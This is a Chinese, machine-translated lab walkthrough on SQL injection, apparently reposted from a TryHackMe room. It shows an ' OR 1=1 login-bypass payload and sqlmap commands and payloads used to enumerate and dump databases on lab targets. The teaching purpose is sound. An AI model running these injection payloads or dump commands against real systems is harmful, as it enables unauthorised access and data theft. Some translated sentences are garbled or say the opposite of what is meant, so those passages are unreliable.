了解 SQL 注入并通过 SQLMap 工具利用此漏洞。
任务1:介绍
SQL 注入是一个普遍存在的漏洞,长期以来一直是热门 网络安全主题。要了解这个漏洞,我们必须首先 了解什么是数据库以及网站如何与数据库交互。
数据库是可以存储、修改和 检索。它将来自多个应用程序的数据存储在结构化的 格式,使存储、修改和检索变得简单高效。 您每天都会与多个网站互动。该网站包含一些 需要用户输入的网页。例如,一个 登录页面要求您输入凭据,输入 他们,它会检查凭据是否正确,如果他们是。随着许多用户登录该网站,该网站如何记录所有这些用户的数据,并在身份验证期间进行验证 过程?这一切都是在数据库的帮助下完成的。这些网站 拥有存储用户和其他信息并检索它的数据库 需要时。因此,当您输入凭据以登录网站时 页面上,网站会与其数据库交互以检查这些 凭据是正确的。同样,如果您有要搜索的输入字段 例如,对于某项内容,书店网站的输入字段允许 您可以搜索可供出售的书籍。当您搜索任何 book 中,该网站将与数据库交互以获取 该书并将其展示在网站上。
现在,我们知道网站要求数据库检索、存储、 或修改任何数据。那么,这种互动是如何发生的呢?这数据库由数据库管理系统 (DBMS) 管理,例如 MySQL、PostgreSQL、SQLite 或 Microsoft SQL Server。这些系统 了解结构化查询语言 (SQL)。因此,任何应用程序或 网站在与数据库交互时使用 SQL 查询。
这个房间将教您 SQL 注入的基础知识,以及如何使用自动化工具执行 SQL 注入。它会 还可以通过动手挑战实际深入到该主题中。
学习目标
- SQL 注入漏洞
- 通过 SQLMap 工具搜寻 SQL 注入
会议室先决条件
虽然拥有扎实的 SQL 基础知识很有帮助,但完成这个房间并不是必需的。
任务2:SQL注入漏洞
在上一个任务中,我们研究了网站和应用程序如何与数据库交互以在结构化的方式。在这个任务中,我们将看到应用程序和数据库通过 SQL 查询进行,以及SQL 查询的发生方式攻击者可以利用这些 SQL 查询来执行 SQL 注入攻击。
注意:在继续之前,请确保您仅在获得应用程序所有者的许可后才能尝试手动或自动 SQL 注入方法。
让我们举一个登录页面的示例,该页面要求您输入您的 用户名和密码登录。让我们为它提供以下内容 数据:
Username: John
Password: Un@detectable444
输入用户名和密码后,网站将收到 it,使用您的凭证进行 SQL 查询,并将其发送到 数据库
SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';
此查询将在数据库中执行。根据此查询,数据库将检查名为John
的用户名和密码:Un@detectable444
的。如果找到这样的用户,它将返回该用户的 details 添加到应用程序。请注意,上述查询将成功仅当给定的 user 和 pass 在 database 的 AS as as as 它们由布尔值 “AND” 分隔。
有时,当输入被正确清理时,这意味着用户 input 未经过验证,攻击者可以操纵输入并编写 SQL 查询,这些查询将在数据库中执行并执行 攻击者所需的操作。SQL 注入在 这个数字世界,因为所有组织都存储他们的数据,包括 他们的关键信息、数据库内部以及成功的 SQL 注入攻击可能会危及他们的关键数据。
假设我们上面讨论的网站登录页面缺少输入 验证和清理。这意味着它容易受到 SQL 注入的攻击。攻击者不知道用户 John 的密码。他们将在给定的字段中输入以下内容:
Username: John
Password: abc' OR 1=1;-- -
这一次,攻击者键入了一个随机字符串和一个注入的字符串 .网站将发送到的 SQL 查询数据库现在将变为:abc
' OR 1=1;-- -
SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';
此语句看起来与之前的 SQL 查询类似,但现在添加了 OR
运算符 .此查询将查看是否存在 是用户 John。然后,它将检查 John 是否拥有密码abc
(即 他不可能,因为攻击者输入了一个随机密码)。 理想情况下,查询在此处应失败,因为它需要 username 和 password 是正确的,因为它们之间有一个AND
运算符。但 OR
此查询在密码和 1=1
陈述。其中任何一个为 true 都会使整个 SQL 查询成功。密码失败,因此查询将检查下一个 condition,它检查是否1=1
.正如我们所知1=1
,永远是正确的,所以 它将忽略在此之前输入的随机密码并考虑此 语句设置为 true,这将成功执行此查询。查询末尾的 -- -
将注释 之后的任何内容,这意味着1=1
查询将成功执行,并且攻击者将登录到 John 的用户帐户。
这里需要注意的重要事项之一是在。如果没有这个单引号,'abc OR 1=1
整个字符串将被视为密码,这不是故意的。但是,如果我们在之后添加单引号,则密码将类似于 ,它将原始字符串 abc 包含在查询中,并允许我们引入一个逻辑条件 ,该条件始终为 true。abc
';-- -''
abc
'abc' OR 1=1;---'
OR 1=1
任务3:自动化SOL注入工具
执行 SQL 注入攻击涉及发现应用程序内部的 SQL 注入漏洞并操纵 数据库。但是,手动执行所有这些操作可能需要时间,并且 努力。
SQLMap 是一种用于检测和利用 SQL 的自动化工具 Web 应用程序中的注入漏洞。它简化了流程 识别这些漏洞。这个工具内置于一些 Linux 中 发行版,但如果不是,您可以轻松安装它。
由于这是一个命令行工具,因此您必须打开 Linux 操作系统终端 以使用它。--help
带有 SQLMap 的命令将列出所有可用的 标志。如果您不想手动将标志添加到每个命令中,请将该--wizard
标志与 SQLMap 一起使用。当您使用此标记时,该工具将指导您完成每个步骤并提出问题以完成扫描。 使其成为初学者的完美选择。
user@ubuntu:~$ sqlmap --wizard
___
__H__
___ ___["]_____ ___ ___ {1.2.4#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[*] starting at 08:42:50
[08:42:50] [INFO] starting wizard interface
Please enter full target URL (-u):
该--dbs
标志可帮助您提取所有数据库名称。一旦你到达 知道数据库名称,您可以提取有关表 该数据库使用-D database_name --tables
.获取 tables 中,如果要枚举这些 table 中的记录,则可以 用-D database_name -T table_name --dump
。不同的标志 用于从 数据库。现在,让我们看一个实际场景并使用上述所有内容 标志来利用易受 SQL 注入攻击的 Web 应用程序。
第一步是查找可能易受攻击的 URL 或请求。您可能经常会遇到一些使用 GET 参数来检索数据的 URL。例如,像这样的 URL: http://sqlmaptesting.thm/search?cat=1
使用cat
的值为1
: .如果您看到任何 Web 应用程序在 URL 中使用 GET 参数 检索数据,您可以使用 -u 标志测试该 URL 在 SQLMap 工具中。这被视为基于 HTTP GET 的测试。 当应用程序在 用于从搜索中检索数据的 URL。
我们将使用一个据称易受攻击的网站 URL:http://sqlmaptesting.thm
进行演示。假设这个网站有一个搜索选项,当您单击此搜索选项并搜索某些内容时,URL将变为http://sqlmaptesting.thm/search/cat=1
,它使用 URL 中的 GET 参数从数据库中cat=1
提取信息。众所周知,具有 GET 参数的 URL 容易受到 SQL 注入的攻击;让我们扫描此 URL 以确定它是否存在任何 SQL 注入漏洞。
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1
__H__
___ ___[']_____ ___ ___ {1.2.4#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[08:43:49] [INFO] testing connection to the target URL
[08:43:49] [INFO] heuristics detected web page charset 'ascii'
[08:43:49] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[08:43:49] [INFO] testing if the target URL content is stable
[08:43:50] [INFO] target URL content is stable
[08:43:50] [INFO] testing if GET parameter 'cat' is dynamic
[text removed]
[08:45:04] [INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[text removed]
[08:45:08] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 2175=2175
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(1846,CONCAT(0x5c,0x716a787071,(SELECT (ELT(1846=1846,1))),0x7170766a71))
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cat=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT CONCAT(0x716a787071,0x714d486661414f6456787a4a55796b6c7a78574f7858507a6e6a725647436e64496f4965794c6873,0x7170766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HMgq
---
[08:45:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[text removed]
上述终端中的结果显示,在目标 URL 中识别了不同类型的 SQL 注入,例如基于布尔的盲注、基于错误的盲注、基于时间的盲注和 UNION 查询。这些是利用 SQL 注入漏洞的不同技术。例如,在基于布尔值的盲目 SQL 注入中,修改 SQL 查询,并在查询中包含布尔表达式(始终为 true,例如 1=1
)以提取信息。而在基于错误的 SQL 注入中,某些查询被有意修改为在数据库发送的结果中生成错误。这些错误通常包含有关数据的宝贵信息。同样,其他 SQL 注入技术也可以用于利用数据库。
我们为目标执行的命令的结果表明http://sqlmaptesting.thm/search/cat=1
,此 URL 上可以进行不同类型的 SQL 注入。让我们使用我们之前研究过的 SQLMap 的标志来利用它们并从数据库中提取一些有价值的数据。
要获取数据库,我们使用--dbs
标志。让我们试试这个标志 替换为我们易受攻击的 URL:
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 --dbs
__H__
___ ___[(]_____ ___ ___ {1.2.4#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[08:49:00] [INFO] resuming back-end DBMS' mysql'
[08:49:00] [INFO] testing connection to the target URL
[08:49:01] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 2175=2175
[text removed]
[08:49:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:49:01] [INFO] fetching database names
available databases [2]:
[*] users
[*] members
[text removed]
运行上述命令后,我们得到了两个数据库名称。 选择users
数据库并获取其中的表。我们将在标志 -D
之后定义数据库,并在末尾使用--tables
标志 来提取所有表名。
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D users --tables
__H__
___ ___[(]_____ ___ ___ {1.2.4#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[08:50:46] [INFO] resuming back-end DBMS' mysql'
[08:50:46] [INFO] testing connection to the target URL
[08:50:46] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 2175=2175
[text removed]
[08:50:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:50:46] [INFO] fetching tables for database: 'users'
Database: acuart
[3 tables]
+-----------+
| johnath |
| alexas |
| thomas |
+-----------+
[text removed]
现在我们已经有了数据库的所有可用表名,让我们 转储表中存在的thomas
记录。为此,我们将定义 带有 -D
的数据库,带有-T
flag 的表,以及用于提取 records 的 s 中,我们将使用 --dump
来获取该标志。
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thmsearch/cat=1 -D users -T thomas --dump
__H__
___ ___[(]_____ ___ ___ {1.2.4#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[08:51:48] [INFO] resuming back-end DBMS' mysql'
[08:51:48] [INFO] testing connection to the target URL
[08:51:49] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 2175=2175
[text removed]
[08:51:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:51:49] [INFO] fetching columns for table 'thomas' in database 'users'
[08:51:49] [INFO] fetching entries for table 'thomas' in database' users'
[08:51:49] [INFO] recognized possible password hashes in column 'passhash'
do you want to store hashes to a temporary file for eventual further processing n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: users
Table: thomas
[1 entry]
+---------------------+------------+---------+
| Date | name | pass |
+---------------------+------------+----------
| 09/09/2024 | Thomas THM | testing |
+---------------------+------------+---------+
[text removed]
但是,与上述用于测试的 URL 不同,您还可以使用基于 POST 的测试,其中应用程序在请求正文中发送数据,而不是在 URL 中发送数据。这方面的示例可以是登录表单、 登记表格等要遵循此方法,您必须拦截 POST 请求并将其保存为文本 文件。您可以使用以下命令输入保存在 将文本文件复制到 SQLMap 工具中:
user@ubuntu:~$ sqlmap -r intercepted_request.txt
注意:学习如何拦截和捕获 POST 请求超出了此房间的范围。
任务4:实践练习
在此任务中,我们附加了一个易受攻击的 Web 应用程序,供您使用 测试 SQL 注入漏洞。让我们通过按下下面给出的 Start Machine 按钮来启动虚拟机。设备将启动,并显示 IP 地址。您现在可以通过单击顶部的 Start AttackBox 按钮来打开攻击框。AttackBox 将在分屏视图中为您打开。您将使用此机器通过 SQLMap 工具执行 SQL 注入。
注意: 强烈建议使用 AttackBox 执行此任务。
Web 应用程序有一个托管在 的登录页面。当您访问此 URL 时,您将看到一个易受 SQL 注入攻击的登录页面。http://10.10.187.181/ai/login
在前面的任务中,我们看到,如果我们在 URL 中,它们可能容易受到 SQL 注入的攻击,我们可以将 该 URL 以将其与 SQLMap 一起使用。我们还看到,如果有一个 POST 请求,并且数据是在 body 而不是 URL 内部发送的,那么我们可以 拦截请求并将其与 SQLMap 工具一起使用,以利用 SQL 注入漏洞(如果有)。
但是,在此任务中,在登录页面上,我们使用了 GET 请求,但此请求的参数在 URL 中不可见 就像他们在上一个任务的网站上一样。要使用 SQLMap 测试 URL,我们需要将 URL 与 GET 参数一起提供。
因此,要获取完整的 URL 及其 GET 参数,我们需要右键单击登录页面并单击检查选项(该过程可能因浏览器而异)。从这里,我们必须选择 Network (网络) 选项卡;然后我们必须在 username 和 password 字段中输入一些测试凭证,然后单击 login 按钮,我们将能够看到 GET 请求。单击该请求,我们可以看到完整的 GET 请求 替换为参数。我们可以复制这个完整的 URL 并将其与 SQLMap 一起使用 工具来发现其中的 SQL 注入漏洞并加以利用 它。完整的请求如下面的屏幕截图所示:
意: 如果您无法通过上述过程提取 URL,您可以从下面复制它:
http://10.10.187.181/ai/includes/user_login?email=test&password=test
在此 URL 上运行上一个任务中讨论的命令,并回答此任务中给出的问题。此外,请记住将您的 URL 包含在单引号中。这是为了避免终端中出现特殊字符的错误,例如 .'
?
重要提示:您可能无法通过简单的扫描获得结果;在命令末尾添加以执行深度扫描。其次,在运行命令时,该工具可能会问您一些问题;确保按以下方式回答它们以顺利运行扫描:--level=5
- 后端 DBMS 似乎是“MySQL”。是否要跳过特定于其他 DBMS 的测试负载?[是/否]:
y
- 对于其余测试,是否要包括扩展提供的风险 (1) 值的 'MySQL' 的所有测试?[是/否]:
y
- NULL 值无法利用注入。是否要尝试为选项 '--union-char' 使用随机整数值?[是/否]:
y
- GET 参数 'email' 易受攻击。是否要继续测试其他 (如果有)?[是/否]:
n
sqlmap -u 'http://10.10.254.23/ai/includes/user_login?email=test&password=test' --level=5 --dbs
这里扫出来是可能是mysql数据库
这里扫描了半天,服了。
sqlmap -u 'http://10.10.254.23/ai/includes/user_login?email=test&password=test' --level=5 -D ai --tables
标签:SQLMap,sqlmap,URL,08,INFO,--,SQL,Security,___ From: https://blog.csdn.net/2301_79096184/article/details/145163102sqlmap -u 'http://10.10.254.23/ai/includes/user_login?email=test&password=test' --level=5 -D ai -T user --dump